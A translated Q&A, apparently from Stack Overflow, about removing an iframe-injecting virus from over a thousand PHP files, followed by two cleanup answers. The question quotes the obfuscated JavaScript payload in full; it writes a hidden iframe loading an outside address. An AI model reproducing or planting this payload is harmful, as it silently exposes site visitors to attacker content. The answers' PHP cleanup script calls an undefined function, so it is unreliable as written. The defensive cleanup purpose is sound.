如何从我网站上的所有php文件中删除iframe病毒

时间:2015-10-10 02:57:23

标签: php html iframe virus trojan

我有关于从我的php文件中删除病毒代码的问题。我的服务器中有超过1200个php文件,每个php文件都被病毒感染了。将此行添加到html输出的病毒代码

此处是病毒代码:

<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352>

每个php文件中的代码。如何从每个PHP文件中删除此病毒代码?有没有快速的方法呢?

2 个答案:

答案 0 :(得分:1)

您可以使用:

<强> removeVirus.php

<?php

foreach(rglob("*.php") as $virusFile){

    $withVirus = file_get_contents($virusFile);
    $withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus);
    file_put_contents($virusFile, $withoutVirus);
}

function rglob($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
    // blob/master/glob_recursive.php
  $files = glob($pattern, $flags);

  foreach (glob(dirname($pattern).'/*', 
    GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
    $files = array_merge($files, glob_recursive
        ($dir.'/'.basename($pattern), $flags));
  }
  return $files;
}

<强>用法:

removeVirus.php放在您网站的 root 上,然后从shell执行 root (或作为文件的所有者)

php removeVirus.php

备注:

1 - 我已经使用包含病毒的10个php文件测试了我服务器上的代码,并且按预期工作。

2 - 确保找到黑客的来源并相应地修补系统。

答案 1 :(得分:-2)

如果&#34;病毒代码&#34;你提供的字符串文字嵌入在每个php文件中,然后可以通过命令行删除它。打开shell应用程序(Windows的命令提示符或基于UNIX / UNIX的操作系统的终端,例如OS X,Linux等)。在将病毒代码传递给shell之前,您需要转义病毒代码,但理想的方法可能因系统而异。执行以下命令:

cd /path/to/your/infected/php/files

sed -i 's/insert_escaped_virus_code_here//g' *

P.S。如果尚未安装,请按照以下OS XWindows的说明进行操作。